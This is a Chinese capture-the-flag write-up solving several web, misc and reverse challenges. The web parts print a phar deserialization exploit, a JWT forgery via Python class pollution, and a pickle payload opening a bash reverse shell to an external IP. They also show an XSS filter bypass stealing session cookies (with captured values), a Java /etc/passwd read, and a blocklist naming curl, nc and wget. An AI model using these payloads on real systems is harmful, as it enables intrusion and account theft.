capoo
题目描述:I ♥️ Capoo
开题一个按钮
点击显示一张图片,抓包发现似乎是通过路径调用文件,大概率存在目录穿越漏洞。
果真存在
直接读取flag显示文件不存在。
猜猜是flag文件改名了。尝试读取docker文件与start.sh
start.sh暴露了flag的位置
直接读取/flag-33ac806f
,得到flag。
这个是非预期,读取一下源代码看看预期怎么做:
capoo=showpic.php
源码如下:
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>
有文件包含和文件上传(file_put_contents),又有恶意类,phar反序列化基本上没得跑了。
生成phar:
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
$Jay17=new CapooObj();
$Jay17->action='env';
//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("1.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest
$phar->setMetadata($Jay17);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";
然后上传服务器
if (strpos($data, "PILER") !== false)这个限制参考下文:
php(phar)反序列化漏洞及各种绕过姿势_throw new 绕过php-CSDN博客
gzip压缩:gzip 1.phar
改名为capoo.gif
。python起web服务使得外网可以访问。
capoo=http://124.71.147.99:9023
之后就是phar伪协议进行利用了。
这里拿env命令进行演
capoo=phar://capoo_img/capoo.gif
ez_picker
题目描述:很简单的啦
开题直接就是源码:
from sanic import Sanic
from sanic.response import json, file as file_, text, redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result = jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"] != "admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET", "POST"])
@token_required
async def upload(request):
if request.method == "GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET', 'POST'])
async def register(request):
if request.method == 'GET':
return await file_('templates/register.html')
if request.json:
NewUser = User("username", "password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!", "redirect": "/login"})
@app.route('/login', methods=['GET', 'POST'])
async def login(request):
if request.method == 'GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data = {"user": username, "role": "guest"}
data['exp'] = int(time.time()) + 60 * 5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"] = token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
简单看下源码,成分复杂。JWT、原型链污染、反序列化
首先看源码理一理思路。
一、原型链污染改掉secret_key
二、伪造JWT
三、原型链污染改掉safe_names
、safe_modules
四、pickle反序列化造成RCE
污染点非常的明显:
merge(request.json, NewUser)
首先污染secret_key
。由于from key import secret_key,所以secret_key
是个全局变量
{
"__init__" : {
"__globals__" : {
"secret_key" :"1717"
}
}
}
污染成功,JWT校验通过。
修改role为admin
权限足够,可以上传文件了
ok,接下来思考如何污染secret_key
、safe_modules
。污染完再pickle,要不然有些模块用不了,文件传不上去。
需要注意的是,secret_key
、safe_modules
都是数组,json中使用[]
传数组。
{
"__init__": {
"__globals__": {
"safe_modules": [
"math",
"datetime",
"json",
"collections",
"os",
"eval",
"builtins"
],
"safe_names": [
"sqrt", "exec", "system", "pow", "sin", "cos", "tan",
"date", "datetime", "timedelta", "timezone",
"loads", "dumps", "namedtuple", "deque", "Counter", "defaultdict","system","eval"
]
}
}
}
然后生成一下pkl文件:
import pickle
import os
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"').read()",))
obj = A()
with open("1.pkl", "wb") as f:
pickle.dump(obj, f)
上传完成,服务器接收到shell。
Spreader
题目描述:有人心血来潮做了一个简易的留言板,并做好了充分的防护措施。然而,留下的不只有言论,还有...
题目给了源码,看见bot.js就知道又是XSS。开叉
index.js
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {
const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};
router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});
router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});
router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;
const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');
const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');
const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');
const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');
const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');
const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');
const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');
const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');
const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');
posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});
router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};
app.js
const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
secret: secret_key,
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: false,
secure: false,
}
}));
app.use('/', require('./routes/index')(users,posts,store,AdminPassWord,PrivilegedPassWord));
app.listen(port, () => {
console.log(`App is running on http://localhost:${port}`);
});
bot.js
const puppeteer = require('puppeteer');
async function triggerXSS(UserName, PassWord) {
const browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox'],
executablePath: '/usr/bin/chromium',
headless: true
});
const page = await browser.newPage();
await page.goto('http://localhost:3000/login');
await page.type('input[name="username"]', UserName);
await page.type('input[name="password"]', PassWord);
await page.click('button[type="submit"]');
await page.goto('http://localhost:3000/');
await browser.close();
return;
}
module.exports = { triggerXSS };
简单扫一眼代码。题目一共分为三种用户。plain
(普通用户)、privileged
(特权用户)、admin
(管理员)
role为admin
(管理员)时候,可以访问/flag路由获取flag。
初始状态下三种用户各自有一个
OK之后就这界面理解源码。
开题能看见一个登录注册功能
注册时候虽然传参包含了职权role,但是push进去的始终是plain职权。
之后会有一个留言板,这里应该是XSS攻击点,源码中加满了WAF
//<script>alert('XSS');</script>
const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');
//<button onclick="alert('XSS')">Click me</button>
const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');
//<a href="javascript:alert('XSS')">Click here</a>
const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');
//<img src="data:image/png;base64,..." />
const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');
//<div style="width: expression(alert('XSS'));"></div>
const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');
//<iframe src="https://example.com"></iframe>
const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');
//<div style="background: red;" contenteditable="true">Editable content</div>
const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');
//<a href="javascript:alert('XSS')">Click here</a>
const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');
//eval("alert('XSS')");
const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');
此外还有一些路由。
定义 /logout
路由,销毁当前会话并重定向到登录页面。
定义 /report_admin
路由,模拟管理员登录。
定义 /report_privileged
路由,模拟特权用户登录,类似于上面的 /report_admin
。
定义 /store
的 POST 请求,用于将请求体中的数据存储到 store
数组中。
此外,源码中暴露出的机制至关重要
admin可以看见admin和privileged的留言
privileged可以看见privileged和plain的留言
plain只能看见plain的留言
OK那思路很清晰了。用privileged用户作为桥梁,先拿privileged的COOKIE,再拿admin的COOKIE。
简单讲下流程:
1、注册登录一个plain账号
2、plain账号留言一条恶意XSS语句。
3、访问/report_privileged,privileged用户登录后,XSS语句诱导privileged访问/store,存下privileged的COOKIE。
4、访问/store拿到privileged的COOKIE获得privileged身份。
5、privileged账号留言一条恶意XSS语句。
6、访问/report_admin,admin用户登录后,XSS语句诱导admin访问/store,存下admin的COOKIE。
7、访问/store拿到admin的COOKIE获得admin身份。
8、admin访问/flag路由直接取得flag。
唯一需要考虑的是XSS语句怎么过WAF。
测试语句:
<script>alert('XSS')</script>
结尾换行就行
<script>alert('XSS')</script
>
OK,会过WAF后走一遍流程:
1、注册登录一个plain账号
2、plain账号留言一条恶意XSS语句。(这里写错了,应该是privileged_cookie)
<script>fetch('/store',{method:'POST',body:'admin_cookie='+encodeURIComponent(document.cookie),headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>
3、访问/report_privileged,privileged用户登录后,XSS语句诱导privileged访问/store,存下privileged的COOKIE。
4、访问/store拿到privileged的COOKIE获得privileged身份。
s%3AjLa-TwibqKOOTU_3uL2wpYdzbXgN3zI2.oe6kJWADC8GsEMBz7t7UGPXST5ZAgfuGf5BPFBeu6lQ
5、privileged账号留言一条恶意XSS语句。
<script>fetch('/store',{method:'POST',body:'admin_cookie='+encodeURIComponent(document.cookie),headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>
6、访问/report_admin,admin用户登录后,XSS语句诱导admin访问/store,存下admin的COOKIE。
7、访问/store拿到admin的COOKIE获得admin身份。
s%3A6Hu6wXqFx5deyk4vyL0Z90SXAFHH8Jvp.o7klG0NS%2FFqNuDut%2Brk33tJ%2BCzDf7u0MIhUlPrJ4MDY
8、admin访问/flag路由直接取得flag。
OnlineRunner*
题目描述:我们提供了一个简单的在线java代码运行:>
我叫蒋十七,我以为不学java不会影响我打CTF,要不是遇到OnlineRunner我差点就信了。
读取文件:
try {
java.io.File file = new java.io.File("/etc/passwd");
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file));
StringBuilder content = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
content.append(line).append(System.lineSeparator());
}
reader.close();
System.out.println(content.toString());
} catch (java.io.IOException e) {
e.printStackTrace();
}
读取根目录文件列表:
java.io.File parentDir = new java.io.File("..");
String[] fileList = parentDir.list();
if (fileList != null) {
for (String file : fileList) {
System.out.println(file);
}
} else {
System.out.println("Failed to retrieve file list");
}
有readflag,同时flag文件没有权限读取。还是得RCE
https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/
https://github.com/turn1tup/JvmRaspBypass
就到这里了,乏了。
PvZ
题目描述:来一场酣畅淋漓的大战吧
下载下来是一个植物大战僵尸的杂交版图片,需要计算阳光,观察关卡为幸运的一天,实际游玩发现进入关卡后应该每一张卡片都从无冷却开始,且一定需要使用一次50阳光的四叶草,所以:
阳光为50+100+150+88+225+?+?,还有一个仙人南瓜和一个地刺不知道从哪里来,直接开始尝试,因为上面结果为613,查询价格后发现植物和图片阳光有50和25的差距:
由于冷却时间不可能及时重置,所以判断仙人南瓜应该是0元抽出来的,而地刺的价格为150,如果减少五十,则为
50+100+150+88+225+0+100=713
若是减少二十五则为
50+100+150+88+225+0+125=738
网站一个一个加密试一试:
217eedd1ba8c592db97d0dbe54c7adfc
得到答案。
得到两个图片,第二个图片ps操作拉直一下可以直接用微信扫出:
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
查询一下图片名字得知为M41b0lg3一种编程语言,在线运行得到答案:
flag{5108a32f-1c7f-4a40-a4fa-fd8982e6eb49}
Streaming
题目描述:一个misc流量分析
发现流量中有RTC流量包,猜测下面的UDP数据应该解析为RTP包,右键流量decode as选择UDP的RTP,并在首选项中修改H.264对应的长度96,使用插件导出xxx.264文件
随便追踪一流UDP,发现网址http://www.videolan.org/x264.html,猜测使用该工具可解释提取的数据包,转码后在视频中发现flag1和FF字符
提示flag不止是flag,猜测是某种加密算法的密钥,??文件是乱码,猜测使用某种算法可以解??文件,直接解报错,根据视频里FF猜测要先和ff异或处理,脚本如下
from Crypto.Cipher import AES
import os
# 文件名
input_file = '1' # 替换为你的文件名
output_file = 'output.txt'
key = b"'flag{3b3a9c08-'" # 包含单引号的AES密钥(必须为16字节)
# 1. 将每个字节与0xff进行异或
with open(input_file, 'rb') as f:
data = bytearray(f.read())
xor_data = bytearray(b ^ 0xff for b in data)
# 2. 使用AES ECB模式解密
cipher = AES.new(key, AES.MODE_ECB)
# AES解密需要数据长度为16的倍数,进行填充
while len(xor_data) % 16 != 0:
xor_data.append(0) # 使用零填充
decrypted_data = cipher.decrypt(xor_data)
# 3. 将解密后的数据存为1.txt
with open(output_file, 'wb') as f:
f.write(decrypted_data)
print("操作完成,解密结果已保存到1.txt")
得到zip包,一个png一个视频文件,s4cret开头补全3个00,播放后发现一直闪,脚本分帧,猜测是二进制,黑色转1白色转0,得到flag3,脚本如下:
import cv2
import os
import numpy as np
# 输入和输出文件名
input_file = 's4cret.mp4' # 替换为你的MP4文件名
output_folder = 'frames'
output_sequence_file = 'output_sequence.txt'
# 创建输出文件夹
if not os.path.exists(output_folder):
os.makedirs(output_folder)
# 打开视频文件
cap = cv2.VideoCapture(input_file)
frame_count = 0
output_sequence = []
while True:
ret, frame = cap.read()
if not ret:
break
# 保存每一帧
frame_filename = os.path.join(output_folder, f'frame_{frame_count:04d}.jpg')
cv2.imwrite(frame_filename, frame)
# 检查每一帧的像素
if np.all(frame == 0): # 全黑
output_sequence.append(1)
elif np.all(frame == 255): # 全白
output_sequence.append(0)
else:
output_sequence.append(-1) # 其他情况(可选)
frame_count += 1
# 释放视频对象
cap.release()
# 输出序列到文件
with open(output_sequence_file, 'w') as f:
f.write(''.join(map(str, output_sequence)))
print(f"拆分完成,共提取了{frame_count}帧,序列已保存到{output_sequence_file}。")
使用工具macos_shadow_tank,拆分badapple.png,得到flag2
babyre
题目描述:true or false
初步分析,配合调试得知加密过程为AES-EBC-128加密后对密文进行转二进制,随后进行验证
定义二维数组爆破二进制数据
已知前八位是密文
转16进制后解密并验证
4D87EF03-77BB-491A-80F5-4620245807C4
转小写得到flag
flag{4d87ef03-77bb-491a-80f5-4620245807c4}